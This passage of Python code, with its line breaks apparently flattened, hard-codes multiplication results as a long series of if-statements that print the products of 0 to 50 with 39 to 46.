print("4 * 39 = 156") if firstNum == 5 and sign == "*" and secondNum == 39 : print("5 * 39 = 195") if firstNum == 6 and sign == "*" and secondNum == 39 : print("6 * 39 = 234") if firstNum == 7 and sign == "*" and secondNum == 39 : print("7 * 39 = 273") if firstNum == 8 and sign == "*" and secondNum == 39 : print("8 * 39 = 312") if firstNum == 9 and sign == "*" and secondNum == 39 : print("9 * 39 = 351") if firstNum == 10 and sign == "*" and secondNum == 39 : print("10 * 39 = 390") if firstNum == 11 and sign == "*" and secondNum == 39 : print("11 * 39 = 429") if firstNum == 12 and sign == "*" and secondNum == 39 : print("12 * 39 = 468") if firstNum == 13 and sign == "*" and secondNum == 39 : print("13 * 39 = 507") if firstNum == 14 and sign == "*" and secondNum == 39 : print("14 * 39 = 546") if firstNum == 15 and sign == "*" and secondNum == 39 : print("15 * 39 = 585") if firstNum == 16 and sign == "*" and secondNum == 39 : print("16 * 39 = 624") if firstNum == 17 and sign == "*" and secondNum == 39 : print("17 * 39 = 663") if firstNum == 18 and sign == "*" and secondNum == 39 : print("18 * 39 = 702") if firstNum == 19 and sign == "*" and secondNum == 39 : print("19 * 39 = 741") if firstNum == 20 and sign == "*" and secondNum == 39 : print("20 * 39 = 780") if firstNum == 21 and sign == "*" and secondNum == 39 : print("21 * 39 = 819") if firstNum == 22 and sign == "*" and secondNum == 39 : print("22 * 39 = 858") if firstNum == 23 and sign == "*" and secondNum == 39 : print("23 * 39 = 897") if firstNum == 24 and sign == "*" and secondNum == 39 : print("24 * 39 = 936") if firstNum == 25 and sign == "*" and secondNum == 39 : print("25 * 39 = 975") if firstNum == 26 and sign == "*" and secondNum == 39 : print("26 * 39 = 1014") if firstNum == 27 and sign == "*" and secondNum == 39 : print("27 * 39 = 1053") if firstNum == 28 and sign == "*" and secondNum == 39 : print("28 * 39 = 1092") if firstNum == 29 and sign == "*" and secondNum == 39 : print("29 * 39 = 1131") if firstNum == 30 and sign == "*" and secondNum == 39 : print("30 * 39 = 1170") if firstNum == 31 and sign == "*" and secondNum == 39 : print("31 * 39 = 1209") if firstNum == 32 and sign == "*" and secondNum == 39 : print("32 * 39 = 1248") if firstNum == 33 and sign == "*" and secondNum == 39 : print("33 * 39 = 1287") if firstNum == 34 and sign == "*" and secondNum == 39 : print("34 * 39 = 1326") if firstNum == 35 and sign == "*" and secondNum == 39 : print("35 * 39 = 1365") if firstNum == 36 and sign == "*" and secondNum == 39 : print("36 * 39 = 1404") if firstNum == 37 and sign == "*" and secondNum == 39 : print("37 * 39 = 1443") if firstNum == 38 and sign == "*" and secondNum == 39 : print("38 * 39 = 1482") if firstNum == 39 and sign == "*" and secondNum == 39 : print("39 * 39 = 1521") if firstNum == 40 and sign == "*" and secondNum == 39 : print("40 * 39 = 1560") if firstNum == 41 and sign == "*" and secondNum == 39 : print("41 * 39 = 1599") if firstNum == 42 and sign == "*" and secondNum == 39 : print("42 * 39 = 1638") if firstNum == 43 and sign == "*" and secondNum == 39 : print("43 * 39 = 1677") if firstNum == 44 and sign == "*" and secondNum == 39 : print("44 * 39 = 1716") if firstNum == 45 and sign == "*" and secondNum == 39 : print("45 * 39 = 1755") if firstNum == 46 and sign == "*" and secondNum == 39 : print("46 * 39 = 1794") if firstNum == 47 and sign == "*" and secondNum == 39 : print("47 * 39 = 1833") if firstNum == 48 and sign == "*" and secondNum == 39 : print("48 * 39 = 1872") if firstNum == 49 and sign == "*" and secondNum == 39 : print("49 * 39 = 1911") if firstNum == 50 and sign == "*" and secondNum == 39 : print("50 * 39 = 1950") if firstNum == 0 and sign == "*" and secondNum == 40 : print("0 * 40 = 0") if firstNum == 1 and sign == "*" and secondNum == 40 : print("1 * 40 = 40") if firstNum == 2 and sign == "*" and secondNum == 40 : print("2 * 40 = 80") if firstNum == 3 and sign == "*" and secondNum == 40 : print("3 * 40 = 120") if firstNum == 4 and sign == "*" and secondNum == 40 : print("4 * 40 = 160") if firstNum == 5 and sign == "*" and secondNum == 40 : print("5 * 40 = 200") if firstNum == 6 and sign == "*" and secondNum == 40 : print("6 * 40 = 240") if firstNum == 7 and sign == "*" and secondNum == 40 : print("7 * 40 = 280") if firstNum == 8 and sign == "*" and secondNum == 40 : print("8 * 40 = 320") if firstNum == 9 and sign == "*" and secondNum == 40 : print("9 * 40 = 360") if firstNum == 10 and sign == "*" and secondNum == 40 : print("10 * 40 = 400") if firstNum == 11 and sign == "*" and secondNum == 40 : print("11 * 40 = 440") if firstNum == 12 and sign == "*" and secondNum == 40 : print("12 * 40 = 480") if firstNum == 13 and sign == "*" and secondNum == 40 : print("13 * 40 = 520") if firstNum == 14 and sign == "*" and secondNum == 40 : print("14 * 40 = 560") if firstNum == 15 and sign == "*" and secondNum == 40 : print("15 * 40 = 600") if firstNum == 16 and sign == "*" and secondNum == 40 : print("16 * 40 = 640") if firstNum == 17 and sign == "*" and secondNum == 40 : print("17 * 40 = 680") if firstNum == 18 and sign == "*" and secondNum == 40 : print("18 * 40 = 720") if firstNum == 19 and sign == "*" and secondNum == 40 : print("19 * 40 = 760") if firstNum == 20 and sign == "*" and secondNum == 40 : print("20 * 40 = 800") if firstNum == 21 and sign == "*" and secondNum == 40 : print("21 * 40 = 840") if firstNum == 22 and sign == "*" and secondNum == 40 : print("22 * 40 = 880") if firstNum == 23 and sign == "*" and secondNum == 40 : print("23 * 40 = 920") if firstNum == 24 and sign == "*" and secondNum == 40 : print("24 * 40 = 960") if firstNum == 25 and sign == "*" and secondNum == 40 : print("25 * 40 = 1000") if firstNum == 26 and sign == "*" and secondNum == 40 : print("26 * 40 = 1040") if firstNum == 27 and sign == "*" and secondNum == 40 : print("27 * 40 = 1080") if firstNum == 28 and sign == "*" and secondNum == 40 : print("28 * 40 = 1120") if firstNum == 29 and sign == "*" and secondNum == 40 : print("29 * 40 = 1160") if firstNum == 30 and sign == "*" and secondNum == 40 : print("30 * 40 = 1200") if firstNum == 31 and sign == "*" and secondNum == 40 : print("31 * 40 = 1240") if firstNum == 32 and sign == "*" and secondNum == 40 : print("32 * 40 = 1280") if firstNum == 33 and sign == "*" and secondNum == 40 : print("33 * 40 = 1320") if firstNum == 34 and sign == "*" and secondNum == 40 : print("34 * 40 = 1360") if firstNum == 35 and sign == "*" and secondNum == 40 : print("35 * 40 = 1400") if firstNum == 36 and sign == "*" and secondNum == 40 : print("36 * 40 = 1440") if firstNum == 37 and sign == "*" and secondNum == 40 : print("37 * 40 = 1480") if firstNum == 38 and sign == "*" and secondNum == 40 : print("38 * 40 = 1520") if firstNum == 39 and sign == "*" and secondNum == 40 : print("39 * 40 = 1560") if firstNum == 40 and sign == "*" and secondNum == 40 : print("40 * 40 = 1600") if firstNum == 41 and sign == "*" and secondNum == 40 : print("41 * 40 = 1640") if firstNum == 42 and sign == "*" and secondNum == 40 : print("42 * 40 = 1680") if firstNum == 43 and sign == "*" and secondNum == 40 : print("43 * 40 = 1720") if firstNum == 44 and sign == "*" and secondNum == 40 : print("44 * 40 = 1760") if firstNum == 45 and sign == "*" and secondNum == 40 : print("45 * 40 = 1800") if firstNum == 46 and sign == "*" and secondNum == 40 : print("46 * 40 = 1840") if firstNum == 47 and sign == "*" and secondNum == 40 : print("47 * 40 = 1880") if firstNum == 48 and sign == "*" and secondNum == 40 : print("48 * 40 = 1920") if firstNum == 49 and sign == "*" and secondNum == 40 : print("49 * 40 = 1960") if firstNum == 50 and sign == "*" and secondNum == 40 : print("50 * 40 = 2000") if firstNum == 0 and sign == "*" and secondNum == 41 : print("0 * 41 = 0") if firstNum == 1 and sign == "*" and secondNum == 41 : print("1 * 41 = 41") if firstNum == 2 and sign == "*" and secondNum == 41 : print("2 * 41 = 82") if firstNum == 3 and sign == "*" and secondNum == 41 : print("3 * 41 = 123") if firstNum == 4 and sign == "*" and secondNum == 41 : print("4 * 41 = 164") if firstNum == 5 and sign == "*" and secondNum == 41 : print("5 * 41 = 205") if firstNum == 6 and sign == "*" and secondNum == 41 : print("6 * 41 = 246") if firstNum == 7 and sign == "*" and secondNum == 41 : print("7 * 41 = 287") if firstNum == 8 and sign == "*" and secondNum == 41 : print("8 * 41 = 328") if firstNum == 9 and sign == "*" and secondNum == 41 : print("9 * 41 = 369") if firstNum == 10 and sign == "*" and secondNum == 41 : print("10 * 41 = 410") if firstNum == 11 and sign == "*" and secondNum == 41 : print("11 * 41 = 451") if firstNum == 12 and sign == "*" and secondNum == 41 : print("12 * 41 = 492") if firstNum == 13 and sign == "*" and secondNum == 41 : print("13 * 41 = 533") if firstNum == 14 and sign == "*" and secondNum == 41 : print("14 * 41 = 574") if firstNum == 15 and sign == "*" and secondNum == 41 : print("15 * 41 = 615") if firstNum == 16 and sign == "*" and secondNum == 41 : print("16 * 41 = 656") if firstNum == 17 and sign == "*" and secondNum == 41 : print("17 * 41 = 697") if firstNum == 18 and sign == "*" and secondNum == 41 : print("18 * 41 = 738") if firstNum == 19 and sign == "*" and secondNum == 41 : print("19 * 41 = 779") if firstNum == 20 and sign == "*" and secondNum == 41 : print("20 * 41 = 820") if firstNum == 21 and sign == "*" and secondNum == 41 : print("21 * 41 = 861") if firstNum == 22 and sign == "*" and secondNum == 41 : print("22 * 41 = 902") if firstNum == 23 and sign == "*" and secondNum == 41 : print("23 * 41 = 943") if firstNum == 24 and sign == "*" and secondNum == 41 : print("24 * 41 = 984") if firstNum == 25 and sign == "*" and secondNum == 41 : print("25 * 41 = 1025") if firstNum == 26 and sign == "*" and secondNum == 41 : print("26 * 41 = 1066") if firstNum == 27 and sign == "*" and secondNum == 41 : print("27 * 41 = 1107") if firstNum == 28 and sign == "*" and secondNum == 41 : print("28 * 41 = 1148") if firstNum == 29 and sign == "*" and secondNum == 41 : print("29 * 41 = 1189") if firstNum == 30 and sign == "*" and secondNum == 41 : print("30 * 41 = 1230") if firstNum == 31 and sign == "*" and secondNum == 41 : print("31 * 41 = 1271") if firstNum == 32 and sign == "*" and secondNum == 41 : print("32 * 41 = 1312") if firstNum == 33 and sign == "*" and secondNum == 41 : print("33 * 41 = 1353") if firstNum == 34 and sign == "*" and secondNum == 41 : print("34 * 41 = 1394") if firstNum == 35 and sign == "*" and secondNum == 41 : print("35 * 41 = 1435") if firstNum == 36 and sign == "*" and secondNum == 41 : print("36 * 41 = 1476") if firstNum == 37 and sign == "*" and secondNum == 41 : print("37 * 41 = 1517") if firstNum == 38 and sign == "*" and secondNum == 41 : print("38 * 41 = 1558") if firstNum == 39 and sign == "*" and secondNum == 41 : print("39 * 41 = 1599") if firstNum == 40 and sign == "*" and secondNum == 41 : print("40 * 41 = 1640") if firstNum == 41 and sign == "*" and secondNum == 41 : print("41 * 41 = 1681") if firstNum == 42 and sign == "*" and secondNum == 41 : print("42 * 41 = 1722") if firstNum == 43 and sign == "*" and secondNum == 41 : print("43 * 41 = 1763") if firstNum == 44 and sign == "*" and secondNum == 41 : print("44 * 41 = 1804") if firstNum == 45 and sign == "*" and secondNum == 41 : print("45 * 41 = 1845") if firstNum == 46 and sign == "*" and secondNum == 41 : print("46 * 41 = 1886") if firstNum == 47 and sign == "*" and secondNum == 41 : print("47 * 41 = 1927") if firstNum == 48 and sign == "*" and secondNum == 41 : print("48 * 41 = 1968") if firstNum == 49 and sign == "*" and secondNum == 41 : print("49 * 41 = 2009") if firstNum == 50 and sign == "*" and secondNum == 41 : print("50 * 41 = 2050") if firstNum == 0 and sign == "*" and secondNum == 42 : print("0 * 42 = 0") if firstNum == 1 and sign == "*" and secondNum == 42 : print("1 * 42 = 42") if firstNum == 2 and sign == "*" and secondNum == 42 : print("2 * 42 = 84") if firstNum == 3 and sign == "*" and secondNum == 42 : print("3 * 42 = 126") if firstNum == 4 and sign == "*" and secondNum == 42 : print("4 * 42 = 168") if firstNum == 5 and sign == "*" and secondNum == 42 : print("5 * 42 = 210") if firstNum == 6 and sign == "*" and secondNum == 42 : print("6 * 42 = 252") if firstNum == 7 and sign == "*" and secondNum == 42 : print("7 * 42 = 294") if firstNum == 8 and sign == "*" and secondNum == 42 : print("8 * 42 = 336") if firstNum == 9 and sign == "*" and secondNum == 42 : print("9 * 42 = 378") if firstNum == 10 and sign == "*" and secondNum == 42 : print("10 * 42 = 420") if firstNum == 11 and sign == "*" and secondNum == 42 : print("11 * 42 = 462") if firstNum == 12 and sign == "*" and secondNum == 42 : print("12 * 42 = 504") if firstNum == 13 and sign == "*" and secondNum == 42 : print("13 * 42 = 546") if firstNum == 14 and sign == "*" and secondNum == 42 : print("14 * 42 = 588") if firstNum == 15 and sign == "*" and secondNum == 42 : print("15 * 42 = 630") if firstNum == 16 and sign == "*" and secondNum == 42 : print("16 * 42 = 672") if firstNum == 17 and sign == "*" and secondNum == 42 : print("17 * 42 = 714") if firstNum == 18 and sign == "*" and secondNum == 42 : print("18 * 42 = 756") if firstNum == 19 and sign == "*" and secondNum == 42 : print("19 * 42 = 798") if firstNum == 20 and sign == "*" and secondNum == 42 : print("20 * 42 = 840") if firstNum == 21 and sign == "*" and secondNum == 42 : print("21 * 42 = 882") if firstNum == 22 and sign == "*" and secondNum == 42 : print("22 * 42 = 924") if firstNum == 23 and sign == "*" and secondNum == 42 : print("23 * 42 = 966") if firstNum == 24 and sign == "*" and secondNum == 42 : print("24 * 42 = 1008") if firstNum == 25 and sign == "*" and secondNum == 42 : print("25 * 42 = 1050") if firstNum == 26 and sign == "*" and secondNum == 42 : print("26 * 42 = 1092") if firstNum == 27 and sign == "*" and secondNum == 42 : print("27 * 42 = 1134") if firstNum == 28 and sign == "*" and secondNum == 42 : print("28 * 42 = 1176") if firstNum == 29 and sign == "*" and secondNum == 42 : print("29 * 42 = 1218") if firstNum == 30 and sign == "*" and secondNum == 42 : print("30 * 42 = 1260") if firstNum == 31 and sign == "*" and secondNum == 42 : print("31 * 42 = 1302") if firstNum == 32 and sign == "*" and secondNum == 42 : print("32 * 42 = 1344") if firstNum == 33 and sign == "*" and secondNum == 42 : print("33 * 42 = 1386") if firstNum == 34 and sign == "*" and secondNum == 42 : print("34 * 42 = 1428") if firstNum == 35 and sign == "*" and secondNum == 42 : print("35 * 42 = 1470") if firstNum == 36 and sign == "*" and secondNum == 42 : print("36 * 42 = 1512") if firstNum == 37 and sign == "*" and secondNum == 42 : print("37 * 42 = 1554") if firstNum == 38 and sign == "*" and secondNum == 42 : print("38 * 42 = 1596") if firstNum == 39 and sign == "*" and secondNum == 42 : print("39 * 42 = 1638") if firstNum == 40 and sign == "*" and secondNum == 42 : print("40 * 42 = 1680") if firstNum == 41 and sign == "*" and secondNum == 42 : print("41 * 42 = 1722") if firstNum == 42 and sign == "*" and secondNum == 42 : print("42 * 42 = 1764") if firstNum == 43 and sign == "*" and secondNum == 42 : print("43 * 42 = 1806") if firstNum == 44 and sign == "*" and secondNum == 42 : print("44 * 42 = 1848") if firstNum == 45 and sign == "*" and secondNum == 42 : print("45 * 42 = 1890") if firstNum == 46 and sign == "*" and secondNum == 42 : print("46 * 42 = 1932") if firstNum == 47 and sign == "*" and secondNum == 42 : print("47 * 42 = 1974") if firstNum == 48 and sign == "*" and secondNum == 42 : print("48 * 42 = 2016") if firstNum == 49 and sign == "*" and secondNum == 42 : print("49 * 42 = 2058") if firstNum == 50 and sign == "*" and secondNum == 42 : print("50 * 42 = 2100") if firstNum == 0 and sign == "*" and secondNum == 43 : print("0 * 43 = 0") if firstNum == 1 and sign == "*" and secondNum == 43 : print("1 * 43 = 43") if firstNum == 2 and sign == "*" and secondNum == 43 : print("2 * 43 = 86") if firstNum == 3 and sign == "*" and secondNum == 43 : print("3 * 43 = 129") if firstNum == 4 and sign == "*" and secondNum == 43 : print("4 * 43 = 172") if firstNum == 5 and sign == "*" and secondNum == 43 : print("5 * 43 = 215") if firstNum == 6 and sign == "*" and secondNum == 43 : print("6 * 43 = 258") if firstNum == 7 and sign == "*" and secondNum == 43 : print("7 * 43 = 301") if firstNum == 8 and sign == "*" and secondNum == 43 : print("8 * 43 = 344") if firstNum == 9 and sign == "*" and secondNum == 43 : print("9 * 43 = 387") if firstNum == 10 and sign == "*" and secondNum == 43 : print("10 * 43 = 430") if firstNum == 11 and sign == "*" and secondNum == 43 : print("11 * 43 = 473") if firstNum == 12 and sign == "*" and secondNum == 43 : print("12 * 43 = 516") if firstNum == 13 and sign == "*" and secondNum == 43 : print("13 * 43 = 559") if firstNum == 14 and sign == "*" and secondNum == 43 : print("14 * 43 = 602") if firstNum == 15 and sign == "*" and secondNum == 43 : print("15 * 43 = 645") if firstNum == 16 and sign == "*" and secondNum == 43 : print("16 * 43 = 688") if firstNum == 17 and sign == "*" and secondNum == 43 : print("17 * 43 = 731") if firstNum == 18 and sign == "*" and secondNum == 43 : print("18 * 43 = 774") if firstNum == 19 and sign == "*" and secondNum == 43 : print("19 * 43 = 817") if firstNum == 20 and sign == "*" and secondNum == 43 : print("20 * 43 = 860") if firstNum == 21 and sign == "*" and secondNum == 43 : print("21 * 43 = 903") if firstNum == 22 and sign == "*" and secondNum == 43 : print("22 * 43 = 946") if firstNum == 23 and sign == "*" and secondNum == 43 : print("23 * 43 = 989") if firstNum == 24 and sign == "*" and secondNum == 43 : print("24 * 43 = 1032") if firstNum == 25 and sign == "*" and secondNum == 43 : print("25 * 43 = 1075") if firstNum == 26 and sign == "*" and secondNum == 43 : print("26 * 43 = 1118") if firstNum == 27 and sign == "*" and secondNum == 43 : print("27 * 43 = 1161") if firstNum == 28 and sign == "*" and secondNum == 43 : print("28 * 43 = 1204") if firstNum == 29 and sign == "*" and secondNum == 43 : print("29 * 43 = 1247") if firstNum == 30 and sign == "*" and secondNum == 43 : print("30 * 43 = 1290") if firstNum == 31 and sign == "*" and secondNum == 43 : print("31 * 43 = 1333") if firstNum == 32 and sign == "*" and secondNum == 43 : print("32 * 43 = 1376") if firstNum == 33 and sign == "*" and secondNum == 43 : print("33 * 43 = 1419") if firstNum == 34 and sign == "*" and secondNum == 43 : print("34 * 43 = 1462") if firstNum == 35 and sign == "*" and secondNum == 43 : print("35 * 43 = 1505") if firstNum == 36 and sign == "*" and secondNum == 43 : print("36 * 43 = 1548") if firstNum == 37 and sign == "*" and secondNum == 43 : print("37 * 43 = 1591") if firstNum == 38 and sign == "*" and secondNum == 43 : print("38 * 43 = 1634") if firstNum == 39 and sign == "*" and secondNum == 43 : print("39 * 43 = 1677") if firstNum == 40 and sign == "*" and secondNum == 43 : print("40 * 43 = 1720") if firstNum == 41 and sign == "*" and secondNum == 43 : print("41 * 43 = 1763") if firstNum == 42 and sign == "*" and secondNum == 43 : print("42 * 43 = 1806") if firstNum == 43 and sign == "*" and secondNum == 43 : print("43 * 43 = 1849") if firstNum == 44 and sign == "*" and secondNum == 43 : print("44 * 43 = 1892") if firstNum == 45 and sign == "*" and secondNum == 43 : print("45 * 43 = 1935") if firstNum == 46 and sign == "*" and secondNum == 43 : print("46 * 43 = 1978") if firstNum == 47 and sign == "*" and secondNum == 43 : print("47 * 43 = 2021") if firstNum == 48 and sign == "*" and secondNum == 43 : print("48 * 43 = 2064") if firstNum == 49 and sign == "*" and secondNum == 43 : print("49 * 43 = 2107") if firstNum == 50 and sign == "*" and secondNum == 43 : print("50 * 43 = 2150") if firstNum == 0 and sign == "*" and secondNum == 44 : print("0 * 44 = 0") if firstNum == 1 and sign == "*" and secondNum == 44 : print("1 * 44 = 44") if firstNum == 2 and sign == "*" and secondNum == 44 : print("2 * 44 = 88") if firstNum == 3 and sign == "*" and secondNum == 44 : print("3 * 44 = 132") if firstNum == 4 and sign == "*" and secondNum == 44 : print("4 * 44 = 176") if firstNum == 5 and sign == "*" and secondNum == 44 : print("5 * 44 = 220") if firstNum == 6 and sign == "*" and secondNum == 44 : print("6 * 44 = 264") if firstNum == 7 and sign == "*" and secondNum == 44 : print("7 * 44 = 308") if firstNum == 8 and sign == "*" and secondNum == 44 : print("8 * 44 = 352") if firstNum == 9 and sign == "*" and secondNum == 44 : print("9 * 44 = 396") if firstNum == 10 and sign == "*" and secondNum == 44 : print("10 * 44 = 440") if firstNum == 11 and sign == "*" and secondNum == 44 : print("11 * 44 = 484") if firstNum == 12 and sign == "*" and secondNum == 44 : print("12 * 44 = 528") if firstNum == 13 and sign == "*" and secondNum == 44 : print("13 * 44 = 572") if firstNum == 14 and sign == "*" and secondNum == 44 : print("14 * 44 = 616") if firstNum == 15 and sign == "*" and secondNum == 44 : print("15 * 44 = 660") if firstNum == 16 and sign == "*" and secondNum == 44 : print("16 * 44 = 704") if firstNum == 17 and sign == "*" and secondNum == 44 : print("17 * 44 = 748") if firstNum == 18 and sign == "*" and secondNum == 44 : print("18 * 44 = 792") if firstNum == 19 and sign == "*" and secondNum == 44 : print("19 * 44 = 836") if firstNum == 20 and sign == "*" and secondNum == 44 : print("20 * 44 = 880") if firstNum == 21 and sign == "*" and secondNum == 44 : print("21 * 44 = 924") if firstNum == 22 and sign == "*" and secondNum == 44 : print("22 * 44 = 968") if firstNum == 23 and sign == "*" and secondNum == 44 : print("23 * 44 = 1012") if firstNum == 24 and sign == "*" and secondNum == 44 : print("24 * 44 = 1056") if firstNum == 25 and sign == "*" and secondNum == 44 : print("25 * 44 = 1100") if firstNum == 26 and sign == "*" and secondNum == 44 : print("26 * 44 = 1144") if firstNum == 27 and sign == "*" and secondNum == 44 : print("27 * 44 = 1188") if firstNum == 28 and sign == "*" and secondNum == 44 : print("28 * 44 = 1232") if firstNum == 29 and sign == "*" and secondNum == 44 : print("29 * 44 = 1276") if firstNum == 30 and sign == "*" and secondNum == 44 : print("30 * 44 = 1320") if firstNum == 31 and sign == "*" and secondNum == 44 : print("31 * 44 = 1364") if firstNum == 32 and sign == "*" and secondNum == 44 : print("32 * 44 = 1408") if firstNum == 33 and sign == "*" and secondNum == 44 : print("33 * 44 = 1452") if firstNum == 34 and sign == "*" and secondNum == 44 : print("34 * 44 = 1496") if firstNum == 35 and sign == "*" and secondNum == 44 : print("35 * 44 = 1540") if firstNum == 36 and sign == "*" and secondNum == 44 : print("36 * 44 = 1584") if firstNum == 37 and sign == "*" and secondNum == 44 : print("37 * 44 = 1628") if firstNum == 38 and sign == "*" and secondNum == 44 : print("38 * 44 = 1672") if firstNum == 39 and sign == "*" and secondNum == 44 : print("39 * 44 = 1716") if firstNum == 40 and sign == "*" and secondNum == 44 : print("40 * 44 = 1760") if firstNum == 41 and sign == "*" and secondNum == 44 : print("41 * 44 = 1804") if firstNum == 42 and sign == "*" and secondNum == 44 : print("42 * 44 = 1848") if firstNum == 43 and sign == "*" and secondNum == 44 : print("43 * 44 = 1892") if firstNum == 44 and sign == "*" and secondNum == 44 : print("44 * 44 = 1936") if firstNum == 45 and sign == "*" and secondNum == 44 : print("45 * 44 = 1980") if firstNum == 46 and sign == "*" and secondNum == 44 : print("46 * 44 = 2024") if firstNum == 47 and sign == "*" and secondNum == 44 : print("47 * 44 = 2068") if firstNum == 48 and sign == "*" and secondNum == 44 : print("48 * 44 = 2112") if firstNum == 49 and sign == "*" and secondNum == 44 : print("49 * 44 = 2156") if firstNum == 50 and sign == "*" and secondNum == 44 : print("50 * 44 = 2200") if firstNum == 0 and sign == "*" and secondNum == 45 : print("0 * 45 = 0") if firstNum == 1 and sign == "*" and secondNum == 45 : print("1 * 45 = 45") if firstNum == 2 and sign == "*" and secondNum == 45 : print("2 * 45 = 90") if firstNum == 3 and sign == "*" and secondNum == 45 : print("3 * 45 = 135") if firstNum == 4 and sign == "*" and secondNum == 45 : print("4 * 45 = 180") if firstNum == 5 and sign == "*" and secondNum == 45 : print("5 * 45 = 225") if firstNum == 6 and sign == "*" and secondNum == 45 : print("6 * 45 = 270") if firstNum == 7 and sign == "*" and secondNum == 45 : print("7 * 45 = 315") if firstNum == 8 and sign == "*" and secondNum == 45 : print("8 * 45 = 360") if firstNum == 9 and sign == "*" and secondNum == 45 : print("9 * 45 = 405") if firstNum == 10 and sign == "*" and secondNum == 45 : print("10 * 45 = 450") if firstNum == 11 and sign == "*" and secondNum == 45 : print("11 * 45 = 495") if firstNum == 12 and sign == "*" and secondNum == 45 : print("12 * 45 = 540") if firstNum == 13 and sign == "*" and secondNum == 45 : print("13 * 45 = 585") if firstNum == 14 and sign == "*" and secondNum == 45 : print("14 * 45 = 630") if firstNum == 15 and sign == "*" and secondNum == 45 : print("15 * 45 = 675") if firstNum == 16 and sign == "*" and secondNum == 45 : print("16 * 45 = 720") if firstNum == 17 and sign == "*" and secondNum == 45 : print("17 * 45 = 765") if firstNum == 18 and sign == "*" and secondNum == 45 : print("18 * 45 = 810") if firstNum == 19 and sign == "*" and secondNum == 45 : print("19 * 45 = 855") if firstNum == 20 and sign == "*" and secondNum == 45 : print("20 * 45 = 900") if firstNum == 21 and sign == "*" and secondNum == 45 : print("21 * 45 = 945") if firstNum == 22 and sign == "*" and secondNum == 45 : print("22 * 45 = 990") if firstNum == 23 and sign == "*" and secondNum == 45 : print("23 * 45 = 1035") if firstNum == 24 and sign == "*" and secondNum == 45 : print("24 * 45 = 1080") if firstNum == 25 and sign == "*" and secondNum == 45 : print("25 * 45 = 1125") if firstNum == 26 and sign == "*" and secondNum == 45 : print("26 * 45 = 1170") if firstNum == 27 and sign == "*" and secondNum == 45 : print("27 * 45 = 1215") if firstNum == 28 and sign == "*" and secondNum == 45 : print("28 * 45 = 1260") if firstNum == 29 and sign == "*" and secondNum == 45 : print("29 * 45 = 1305") if firstNum == 30 and sign == "*" and secondNum == 45 : print("30 * 45 = 1350") if firstNum == 31 and sign == "*" and secondNum == 45 : print("31 * 45 = 1395") if firstNum == 32 and sign == "*" and secondNum == 45 : print("32 * 45 = 1440") if firstNum == 33 and sign == "*" and secondNum == 45 : print("33 * 45 = 1485") if firstNum == 34 and sign == "*" and secondNum == 45 : print("34 * 45 = 1530") if firstNum == 35 and sign == "*" and secondNum == 45 : print("35 * 45 = 1575") if firstNum == 36 and sign == "*" and secondNum == 45 : print("36 * 45 = 1620") if firstNum == 37 and sign == "*" and secondNum == 45 : print("37 * 45 = 1665") if firstNum == 38 and sign == "*" and secondNum == 45 : print("38 * 45 = 1710") if firstNum == 39 and sign == "*" and secondNum == 45 : print("39 * 45 = 1755") if firstNum == 40 and sign == "*" and secondNum == 45 : print("40 * 45 = 1800") if firstNum == 41 and sign == "*" and secondNum == 45 : print("41 * 45 = 1845") if firstNum == 42 and sign == "*" and secondNum == 45 : print("42 * 45 = 1890") if firstNum == 43 and sign == "*" and secondNum == 45 : print("43 * 45 = 1935") if firstNum == 44 and sign == "*" and secondNum == 45 : print("44 * 45 = 1980") if firstNum == 45 and sign == "*" and secondNum == 45 : print("45 * 45 = 2025") if firstNum == 46 and sign == "*" and secondNum == 45 : print("46 * 45 = 2070") if firstNum == 47 and sign == "*" and secondNum == 45 : print("47 * 45 = 2115") if firstNum == 48 and sign == "*" and secondNum == 45 : print("48 * 45 = 2160") if firstNum == 49 and sign == "*" and secondNum == 45 : print("49 * 45 = 2205") if firstNum == 50 and sign == "*" and secondNum == 45 : print("50 * 45 = 2250") if firstNum == 0 and sign == "*" and secondNum == 46 : print("0 * 46 = 0") if firstNum == 1 and sign == "*" and secondNum == 46 : print("1 * 46 = 46") if firstNum == 2 and sign == "*" and secondNum == 46 : print("2 * 46 = 92") if firstNum == 3 and sign == "*" and secondNum == 46 : print("3 * 46 = 138") if firstNum == 4 and sign == "*" and secondNum == 46 : print("4 * 46 = 184") if firstNum == 5 and sign == "*" and secondNum == 46 : print("5 * 46 = 230") if firstNum == 6 and sign == "*" and secondNum == 46 : print("6 * 46 = 276") if firstNum == 7 and sign == "*" and secondNum == 46 : print("7 * 46 = 322") if firstNum == 8 and sign == "*" and secondNum == 46 : print("8 * 46 = 368") if firstNum == 9 and sign == "*" and secondNum == 46 : print("9 * 46 = 414") if firstNum == 10 and sign == "*" and secondNum == 46 : print("10 * 46 = 460") if firstNum == 11 and sign == "*" and secondNum == 46 : print("11 * 46 = 506") if firstNum == 12 and sign == "*" and secondNum == 46 : print("12 * 46 = 552") if firstNum == 13 and sign == "*" and secondNum == 46 : print("13 * 46 = 598") if firstNum == 14 and sign == "*" and secondNum == 46 : print("14 * 46 = 644") if firstNum == 15 and sign == "*" and secondNum == 46 : print("15 * 46 = 690") if firstNum == 16 and sign == "*" and secondNum == 46 : print("16 * 46 = 736") if firstNum == 17 and sign == "*" and secondNum == 46 : print("17 * 46 = 782") if firstNum == 18 and sign == "*" and secondNum == 46 : print("18 * 46 = 828") if firstNum == 19 and sign == "*" and secondNum == 46 : print("19 * 46 = 874") if firstNum == 20 and sign == "*" and secondNum == 46 : print("20 * 46 = 920") if firstNum == 21 and sign == "*" and secondNum == 46 : print("21 * 46 = 966") if firstNum == 22 and sign == "*" and secondNum == 46 : print("22 * 46 = 1012") if firstNum == 23 and sign == "*" and secondNum == 46 : print("23 * 46 = 1058") if firstNum == 24 and sign == "*" and secondNum == 46 : print("24 * 46 = 1104") if firstNum == 25 and sign == "*" and secondNum == 46 : print("25 * 46 = 1150") if firstNum == 26 and sign == "*" and secondNum == 46 : print("26 * 46 = 1196") if firstNum == 27 and sign == "*" and secondNum == 46 : print("27 * 46 = 1242") if firstNum == 28 and sign == "*" and secondNum == 46 : print("28 * 46 = 1288") if firstNum == 29 and sign == "*" and secondNum == 46 : print("29 * 46 = 1334") if firstNum == 30 and sign == "*" and secondNum == 46 : print("30 * 46 = 1380") if firstNum == 31 and sign == "*" and secondNum == 46 : print("31 * 46 = 1426") if firstNum == 32 and sign == "*" and secondNum == 46 : print("32 * 46 = 1472") if firstNum == 33 and sign == "*" and secondNum == 46 : print("33 * 46 = 1518") if firstNum == 34 and sign == "*" and secondNum == 46 : print("34 * 46 = 1564") if firstNum == 35 and sign == "*" and secondNum == 46 : print("35 * 46 = 1610") if firstNum == 36 and sign == "*" and secondNum == 46 : print("36 * 46 = 1656") if 